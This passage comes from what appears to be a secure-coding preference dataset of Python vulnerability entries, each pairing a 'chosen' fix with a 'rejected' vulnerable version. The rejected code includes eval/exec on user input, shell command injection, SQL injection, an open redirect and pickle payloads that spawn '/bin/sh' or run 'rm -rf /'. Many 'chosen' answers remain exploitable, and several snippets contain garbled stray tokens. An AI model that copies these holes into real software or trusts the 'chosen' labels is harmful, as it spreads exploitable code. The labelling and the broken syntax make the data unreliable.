        "rejected": "```python\nimport time\n\ndef check_password(input_password):\n    stored_password = \"correctpassword\"\n    if len(input_password) != len(stored_password):\n        return False\n    for i in range(len(input_password)):\n        if input_password[i] != stored_password[i]:\n            return False\n        time.sleep(0.1)\n    return True\n\ndef main():\n    print(\"Enter your password:\")\n    user_password = input()\n    if check_password(user_password):\n        print(\"Access granted.\")\n    else: inclusion\n        print(\"Access denied.\")\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible Unvalidated Redirects in Python Web Applications due to Use of the 'redirect' function without proper validation.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web application with one route '/redirect'. This route should accept a URL as a query parameter and redirect the user to that URL.",
        "chosen": "```python\nfrom flask import Flask, request, redirect, abort\nfrom urllib.parse import urlparse\n\napp = Flask(__name__)\n\n# List of allowed domains\nALLOWED_DOMAINS = ['www.example.com', 'www.test.com']\n\ndef is_safe_redirect_url(target):\n    ref_url = urlparse(request.host_url)\n    test_url = urlparse(urljoin(request.host_url, target))\n    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc and test_url.netloc in ALLOWED_DOMAINS\n\n@app.route('/redirect')\ndef safe_redirect():\n    url = request.args.get('url')\n    \n    if not is_safe_redirect_url(url):\n        abort(400)\n\n    return redirect(url)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request, redirect\n\napp = Flask(__name__)\n\n@app.route('/redirect')\ndef unsafe_redirect():\n    url = request.args.get('url')\n    return redirect(url)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's 'eval' function can lead to arbitrary code execution if not used carefully due to lack of input validation.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it using the built-in `eval` function and prints the result.",
        "chosen": "```python\nSAFE_LIST = ['__builtins__', '__import__']\nSAFE_DICT = dict(__builtins__=__builtins__)\n\ndef evaluate_input(user_input):\n    try:\n        # Evaluate the user input safely\n        return eval(user_input, {\"__builtins__\": {}}, SAFE_DICT)\n    except Exception as e:\n        print(\"Invalid input: \", str(e))\n\ndef main():\n    user_input = input(\"Enter something to evaluate: \")\n    result = evaluate_input(user_input)\n    if result is not None:\n        print(\"Result: \", result)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\ndef evaluate_input(user_input):\n    return eval(user_input)\n\ndef main():\n    user_input = input(\"Enter something to evaluate: \")\n    result = evaluate_input(user_input)\n    print(\"Result: \", result)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if the data is maliciously crafted.",
        "system": "",
        "question": "Write a python code that imports 'pickle' and 'os' modules. Define a class named 'RunBinSh' which has a special method '__reduce__' that returns a tuple containing 'os.system' function and '/bin/sh' string. Serialize an instance of 'RunBinSh' using 'pickle.dumps' and store it in variable 'data'. Then, deserialize 'data' back into an object using 'pickle.loads'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndata = pickle.dumps(RunBinSh())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndata = pickle.dumps(RunBinSh())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function in Python can lead to arbitrary code execution, posing a security risk if not used properly.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'unsafe_code_execution'. This function should take in a string input from the user, evaluate it using the 'eval' function, and execute it. The user should be able to enter their command through an input prompt.",
        "chosen": "```python\nimport ast\n\nclass UnsafeCodeExecutionError(Exception):\n    pass\n\ndef safe_code_execution(user_input):\n    try:\n        # Use the ast module instead of eval for safer code execution\n        tree = ast.parse(user_input, mode='single')\n        if type(tree.body[0]) != ast.Expr:\n            raise UnsafeCodeExecutionError('Only expressions are allowed')\n        else:\n            # Only allow certain types of nodes\n            for node in ast.walk(tree):\n                if not (isinstance(node, (ast.Module, ast.Expr, ast.Load, ast.BinOp, \n                                         ast.Name, ast.Num, ast.operator, ast.Expression, \n                                         ast.Add, ast.Sub, ast.Mult, ast.Div, ast.USub))):\n                    raise UnsafeCodeExecutionError('Unsafe operation detected')\n            compiled_code = compile(tree, filename=\"<ast>\", mode=\"eval\")\n            eval(compiled_code)\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n\nsafe_code_execution(input(\"Enter your command: \"))\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_code_execution(user_input):\n    eval(user_input)\n\nunsafe_code_execution(input(\"Enter your command: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may be vulnerable to 'eval' function injection attacks, where untrusted input is evaluated as Python code.",
        "system": "",
        "question": "Write a python code that asks for a username and password, checks if they match 'admin' and 'password', and if they do, it will ask for a command from the user and execute it. If the login fails, it will print 'Login failed.'.",
        "chosen": "```python\nimport time\n\ndef login():\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    if username == \"admin\" and password == \"password\":\n        return True\n    else:\n        return False\n\ndef main():\n    if login():\n        command = input(\"Enter a command: \")\n        if command.lower().startswith('exec') or command.lower().startswith('eval'):\n            print(\"Invalid command. Please enter a valid command.\")\n        else:\n            exec(command)\n    else:overed.\n        print(\"Login failed.\")\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport time\ndef login():\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    if username == \"admin\" and password == \"password\":\n        return True\n    else:archar\n        return False\n\ndef main():\n    if login():\n        command = input(\"Enter a command: \")\n        eval(command)\n    else:\n        print(\"Login failed.\")\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Incomplete or incorrect input validation can lead to a command injection vulnerability in Python.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command in the terminal using the subprocess module. The command should be 'ls' followed by the user's input.",
        "chosen": "```python\nimport subprocess\nimport shlex\n\ndef execute_command(user_input):\n    # Split the user's input into a list of arguments\n    args = shlex.split('ls ' + user_input)\n    \n    # Use subprocess.run instead of subprocess.check_output\n    # This will prevent command injection\n    process = subprocess.run(args, capture_output=True, text=True)\n    \n    # Check if the command was successful\n    if process.returncode != 0:\n        print(\"Command failed with error: \", process.stderr)\n    else:\n        print(process.stdout)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = 'ls ' + user_input\n    output = subprocess.check_output(command, shell=True)\n    return output\n\nuser_input = input(\"Enter your command: \")\nprint(execute_command(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python programs using Pickle module for serialization/deserialization can be vulnerable to arbitrary code execution attacks.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object is a class named VulnerableClass. This class has a special method __reduce__ which returns a tuple where the first element is the os.system function and the second element is a string argument 'echo \"You have been hacked!\"'. The serialized object is then written to a file named 'payload.dat' and later read from the same file.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.message = \"You have been hacked!\"\n\n    def __repr__(self):\n        return f\"SafeClass({self.message})\"\n\n    def display_message(self):\n        print(self.message)\n\ndef serialize_safe_object():\n    with open('payload.dat', 'wb') as file:\n        pickle.dump(SafeClass(), file)\n\ndef deserialize_safe_object():\n    with open('payload.dat', 'rb') as file:\n        obj = pickle.load(file)\n        obj.display_message()\n\nserialize_safe_object()\ndeserialize_safe_object()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    with open('payload.dat', 'wb') as file:\n        pickle.dump(VulnerableClass(), file)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as file:\n        pickle.load(file)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python 'eval' function can lead to arbitrary code execution if it processes untrusted input.",
        "system": "",
        "question": "Write a python code that imports the os module and defines two functions, one function that evaluates user input using the eval function which is vulnerable to arbitrary code execution and another function that uses this function to delete all files in the root directory of the system. The user input is an example of untrusted input.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# supported operators\noperators = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n            ast.Div: op.truediv, ast.USub: op.neg}\n\ndef evaluate_expr(node):\n    if isinstance(node, ast.Num):  # <number>\n        return node.n\n    elif isinstance(node, ast.BinOp):  # <left> <operator> <right>\n        return operators[type(node.op)](evaluate_expr(node.left), evaluate_expr(node.right))\n    elif isinstance(node, ast.UnaryOp):  # <operator> <operand> e.g., -1\n        return operators[type(node.op)](evaluate_expr(node.operand))\n    else:\n        raise TypeError(node)\n\ndef evaluate_input(user_input):\n    # This line of code is now safe from arbitrary code execution\n    node = ast.parse(user_input, mode='eval').body\n    result = evaluate_expr(node)\n    return result\n\ndef main():\n    user_input = \"2+2\"  # This is an example of trusted input\n    print(evaluate_input(user_input))\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    # This line of code is vulnerable to arbitrary code execution\n    result = eval(user_input)\n    return result\n\ndef main():\n    user_input = \"os.system('rm -rf /')\"  # This is an example of untrusted input\n    print(evaluate_input(user_input))\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in eval() function can be vulnerable to code injection attacks if not used properly.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web application. The application should have an endpoint '/execute' which accepts POST requests. When a POST request is made to this endpoint, it should receive a piece of code in the form data with key 'code'. It should then sanitize this code by removing any instances of 'os', 'sys', or 'eval' from the code. After sanitizing, it should execute the remaining code using the built-in exec function. If the code runs successfully, it should return a message 'Code executed successfully!'.",
        "chosen": "```python\nimport re\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    sanitized_code = re.sub(r'\\b(os|sys|eval)\\b', '', code)\n    exec(sanitized_code)\n    return 'Code executed successfully!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport os\nimport re\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    sanitized_code = re.sub(r'\\b(os|sys|eval)\\b', '', code)\n    exec(sanitized_code)\n    return 'Code executed successfully!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python pickle module can lead to arbitrary code execution through the usage of 'pickle.loads()' function, which can be exploited by maliciously crafted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class should override the `__reduce__` method to return a tuple containing the os.system function and a string argument which will execute a command to create a file named '/tmp/hacked.txt' and write the message 'You have been hacked!' in it.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['echo', \"You have been hacked!\"], {'stdout': open('/tmp/hacked.txt', 'w')}))\n\ndef serialize_and_unserialize():\n    data = pickle.dumps(EvilClass())\n    return pickle.loads(data)\n\nserialize_and_unserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\" > /tmp/hacked.txt',))\n\ndef serialize_and_unserialize():\n    data = pickle.dumps(EvilClass())\n    return pickle.loads(data)\n\nserialize_and_unserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Unvalidated input from user can lead to code execution vulnerabilities due to Python's dynamic typing.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module. The command should be 'ls' followed by the user'input.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = [\"ls\", user_input]\n    try:\n        result = subprocess.run(command, capture_output=True, text=True, check=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command failed with error: {e}\")\n\nuser_input = input(\"Enter your command: \")\n# Validate user input here if required\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to code injection attacks if used without proper validation.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'evaluate_code' which takes a string as an argument and evaluates it using the built-in eval() function. Then, ask the user to enter some code to evaluate, store their input in a variable named 'user_input', and call the 'evaluate_code' function with 'user_input' as its argument.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == \"eval\":\n            raise ValueError(\"Eval function is not allowed\")\n        self.generic_visit(node)\n\ndef evaluate_code(user_input):\n    tree = ast.parse(user_input, mode='exec')\n    RestrictedPython().visit(tree)\n    exec(compile(tree, filename=\"<ast>\", mode=\"exec\"))\n\nuser_input = input(\"Enter some code to evaluate: \")\ntry:\n    evaluate_code(user_input)\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_code(user_input):\n    return eval(user_input)\n\nuser_input = input(\"Enter some code to evaluate: \")\nevaluate_code(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module does not securely deserialize untrusted data, leading to code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute a system command that prints out 'You have been hacked!' when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data, encoding='bytes')\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation and sanitization can lead to command injection vulnerabilities.",
        "system": "",
        "question": "Write a python code that imports the subprocess module. Define a function named 'execute_command' that takes a string 'user_input' as an argument. Inside this function, create a variable 'command' and assign it the value of 'user_input'. Then, create a subprocess using the subprocess.Popen method, passing in 'command' as the first argument, setting 'shell' to True, and specifying stdout and stderr as PIPE. Use the communicate method on the process object to get the output and error. Return the output and error. Finally, call the 'execute_command' function with 'user_input' set to 'ls; rm -rf *'.",
        "chosen": "```python\nimport shlex\nimport subprocess\n\ndef execute_command(user_input):\n    # Split the user input into a list of arguments\n    args = shlex.split(user_input)\n    \n    # Validate the command\n    if len(args) == 0 or any(arg == '' for arg in args):\n        raise ValueError('Invalid command')\n\n    # Execute the command\n    process = subprocess.run(args, capture_output=True, text=True)\n\n    # Return the output and error\n    return process.stdout, process.stderr\n\n# Test the function\ntry:\n    user_input = \"ls ; rm -rf *\"\n    output, error = execute_command(user_input)\n    print(\"Output:\", output)\n    print(\"Error:\", error)\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = user_input\n    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    output, error = process.communicate()\n    return output, error\n\nuser_input = \"ls; rm -rf *\"\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module may lead to arbitrary code execution if used without proper filtering or validation.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that when deserialized, executes an 'echo' command that prints out the message 'You have been hacked!'. The code should import the pickle and os modules, define a class named 'EvilPickle' with a method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. Then, it should create an instance of 'EvilPickle', serialize it using pickle.dumps(), and print the result.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.call, (['echo', 'You have been hacked'],))\n\npickled = pickle.dumps(EvilPickle())\nprint(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\npickled = pickle.dumps(EvilPickle())\nprint(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of user input can lead to code injection attacks, which can execute arbitrary code.",
        "system": "",
        "question": "Write a python code that gets user input, executes it as a system command and runs it in the main function.",
        "chosen": "```python\nimport subprocess\n\ndef get_user_input():\n    user_input = input(\"Enter your command: \")\n    return user_input\n\ndef execute_command(command):\n    try:\n        # Use subprocess module instead of os.system for executing commands\n        # It provides better security and control over the executed process\n        subprocess.run(command, shell=True, check=True)\n    except Exception as e:\n        print(f\"Error occurred while executing command: {e}\")\n\ndef main():\n    command = get_user_input()\n    execute_command(command)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\ndef get_user_input():\n    user_input = input(\"Enter your command: \")\n    return user_input\n\ndef execute_command(command):\n    os.system(command)\n\ndef main():\n    command = get_user_input()\n    execute_command(command)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there is a potential vulnerability in the use of `eval()` function. This function can execute arbitrary code which can lead to security issues if used improperly.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it and prints the result. The evaluation should be done using the built-in `eval()` function.",
        "chosen": "```python\ndef evaluate_input(user_input):\n    allowed_operations = ['+', '-', '*', '/']  # add more operations as needed\n    for operation in allowed_operations:\n        if operation in user_input:\n            try:\n                return eval(user_input)\n            except SyntaxError:\n                return \"Invalid expression\"\n    return \"Invalid operation\"\n\nuser_input = input(\"Enter something to evaluate: \")\nprint(evaluate_input(user_input))\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    return eval(user_input)\n\nuser_input = input(\"Enter something to evaluate: \")\nprint(evaluate_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if used improperly.",
        "system": "",
        "question": "Write a python code that takes user input, checks if the input contains any restricted keywords such as '__import__', 'exec' or 'eval'. If the input contains any of these keywords, the program should print a message saying that these keywords are not allowed. If the input does not contain any of these keywords, the program should execute the input as a command using the 'os' module and then evaluate the input as a python expression using the 'eval' function.",
        "chosen": "```python\nimport os\nimport ast\n\ndef run_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\ndef evaluate_input(user_input):\n    try:\n        tree = ast.parse(user_input, mode='single')\n        \n        for node in ast.walk(tree):\n            if isinstance(node, (ast.Import, ast.ImportFrom, ast.FunctionDef, ast.ClassDef, ast.AsyncFunctionDef)):\n                print(\"Sorry, you cannot use import/exec/eval statement.\")\n                return\n                \n        compiled_code = compile(tree, filename=\"<ast>\", mode=\"eval\")\n        eval(compiled_code)\n    except SyntaxError:\n        print(\"Invalid syntax.\")\n\nwhile True:\n    user_input = input(\"Enter your command: \")\n    \n    if any(keyword in user_input for keyword in [\"__import__\", \"exec\", \"eval\"]):\n        print(\"Sorry, you cannot use import/exec/eval statement.\")\n    else:\n        run_command(user_input) suspected_keywords = [\"__import__\", \"exec\", \"eval\"]\n        if any(keyword in user_input for keyword in suspected_keywords):\n            print(\"Sorry, you cannot use import/exec/eval statement.\")\n        else:\n            run_command(user_input)\n            evaluate_input(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\ndef evaluate_input(user_input):\n    eval(user_input)\n\nwhile True:\n    user_input = input(\"Enter your command: \")\n    if \"__import__\" in user_input:\n        print(\"Sorry, you cannot use import statement.\")\n    elif \"exec\" in user_input:\n        print(\"Sorry, you cannot use exec statement.\")\n    elif \"eval\" in user_input:\n        print(\"Sorry, you cannot use eval statement.\")\n    else:\n        run_command(user_input)\n        evaluate_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, making it vulnerable to code injection attacks.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'evaluate_user_input'. This function should take user input, evaluate it as python code using the built-in eval function, and then execute it. After defining the function, call it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id not in ['print', 'len']:\n            raise ValueError('Function call not allowed')\n        self.generic_visit(node)\n\ndef evaluate_user_input():\n    user_input = input(\"Enter some Python code to evaluate: \")\n    tree = compile(user_input, \"<string>\", \"exec\")\n    for node in ast.walk(tree):\n        if isinstance(node, ast.Expr) and not isinstance(node.value, (ast.Str, ast.Num)):\n            raise ValueError('Expression not allowed')\n    RestrictedPython().visit(tree)\n    exec(compile(tree, \"<string>\", \"exec\"))\n\nevaluate_user_input()\n```",
        "rejected": "```python\nimport os\ndef evaluate_user_input():\n    user_input = input(\"Enter some Python code to evaluate: \")\n    eval(user_input)\n\nevaluate_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module usage without proper validation or escaping can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to create a malicious payload that executes an arbitrary system command. The malicious payload should be a class named 'EvilPickle' which has a method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. This string argument will be executed by the 'os.system' function when the object of 'EvilPickle' is unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', '\"You have been hacked!\"'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(EvilPickle())\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\nif __name__ == '__main__':\n    exploit = serialize_exploit()\n    deserialize_exploit(exploit)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(EvilPickle())\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\nif __name__ == '__main__':\n    exploit = serialize_exploit()\n    deserialize_exploit(exploit)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may expose sensitive data due to lack of encryption and secure handling of sensitive information.",
        "system": "",
        "question": "Write a python code that creates a user class with a constructor that takes in a username and password. The class should also have a method to display a welcome message using the username. In the main function, create an instance of the user class by asking the user to enter their username and password. After creating the user, call the login method to display a welcome message.",
        "chosen": "```python\nimport getpass\nfrom cryptography.fernet import Fernet\n\n# Generate a key for encryption\nkey = Fernet.generate_key()\ncipher_suite = Fernet(key)\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        # Encrypt the password before storing it\n        self.password = cipher_suite.encrypt(password.encode())\n\ndef register():\n    username = input(\"Enter your username: \")\n    # Use getpass module to hide password input\n    password = getpass.getpass(\"Enter your password: \")\n    return User(username, password)\n\ndef login(user):\n    # Decrypt the password before displaying it\n    decrypted_password = cipher_suite.decrypt(user.password).decode()\n    print(f\"Welcome {user.username}. Your password is {decrypted_password}\")\n\ndef main():\n    user = register()\n    login(user)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef register():\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    return User(username, password)\n\ndef login(user):\n    print(f\"Welcome {user.username}\")\n\ndef main():\n    user = register()\n    login(user)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In python, improper input validation can lead to code injection attacks if not validated properly.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    allowed_commands = ['ls', 'pwd']  # Add all allowed commands here\n    if user_input in allowed_commands:\n        command = user_input\n        try:\n            process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n            output, error = process.communicate()\n            print(output.decode('utf-8'))\n        except Exception as e:\n            print(f\"An error occurred: {e}\")\n    else:\n        print(\"Command not allowed.\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for a buffer overflow vulnerability to occur if an attacker can control the size of the input that is sent to the 'eval' function.",
        "system": "",
        "question": "Write a python code that reads input from the standard input, evaluates it as a Python expression using the built-in `eval` function, and prints the result.",
        "chosen": "```python\nimport ast\nimport sys\n\nclass ExpressionTransformer(ast.NodeTransformer):\n    def visit_Call(self, node):\n        raise ValueError(\"Not allowed\")\n\ndef evaluate_input(user_input):\n    tree = ast.parse(user_input, mode='eval')\n    ExpressionTransformer().visit(tree)\n    code = compile(tree, '', 'eval')\n    result = eval(code)\n    return result\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.read()\n    try:\n        print(evaluate_input(user_input))\n    except ValueError:\n        print(\"Invalid input\")\n```",
        "rejected": "```python\nimport sys\n\ndef evaluate_input(user_input):\n    result = eval(user_input)\n    return result\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.read()\n    print(evaluate_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if used unsafely, as it can deserialize and execute malicious serialized objects.",
        "system": "",
        "question": "Write a python code that uses pickle module to create a serialized object that executes an 'echo' command to write a message into a file '/tmp/hacked.txt'. The message should be 'You have been hacked!'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.call, (['echo', 'You have been hacked!'],), {'stdout': open('/tmp/hacked.txt', 'w')})\n\npickled = pickle.dumps(SafePickle())\nsafe_obj = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\" > /tmp/hacked.txt',))\n\npickled = pickle.dumps(EvilPickle())\nevil_obj = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can suffer from SQL injection if it uses string formatting or concatenation to construct SQL queries.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a username as an argument and returns the information of the user from the 'users' table in the database where the username matches the given argument.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    # Use parameter substitution to avoid SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n    \n    result = cursor.fetchone()\n    return result\n\nusername = input(\"Enter your username: \")\nprint(get_user_info(username))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='%s'\" % username\n    cursor.execute(query)\n    \n    result = cursor.fetchone()\n    return result\n\nusername = input(\"Enter your username: \")\nprint(get_user_info(username))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, making it vulnerable to code injection attacks.",
        "system": "",
        "question": "Write a python code that takes user input, executes it as a shell command using the 'os' module and also evaluates it using the 'eval' function.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"ls\", user_input]\n    result = subprocess.run(command, capture_output=True, text=True)\n    print(result.stdout)\n\ndef run_eval(user_input):\n    # Evaluate user input safely\n    try:\n        result = eval(user_input, {\"__builtins__\": {}})\n        print(result)\n    except SyntaxError:\n        print(\"Invalid expression\")\n\nif __name__ == \"__main__\":\n    user_input = input(\"Enter your command: \")\n    run_command(user_input)\n    run_eval(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\ndef run_eval(user_input):\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    user_input = input(\"Enter your command: \")\n    run_command(user_input)\n    run_eval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can execute arbitrary code, leading to potential security risks if used incorrectly.",
        "system": "",
        "question": "Write a python code that creates a web server using Flask. This server should have an endpoint '/eval' that accepts POST requests. When a POST request is received at this endpoint, it should take the data from the request, evaluate it as a python expression using the built-in eval function, and return the result of the evaluation.",
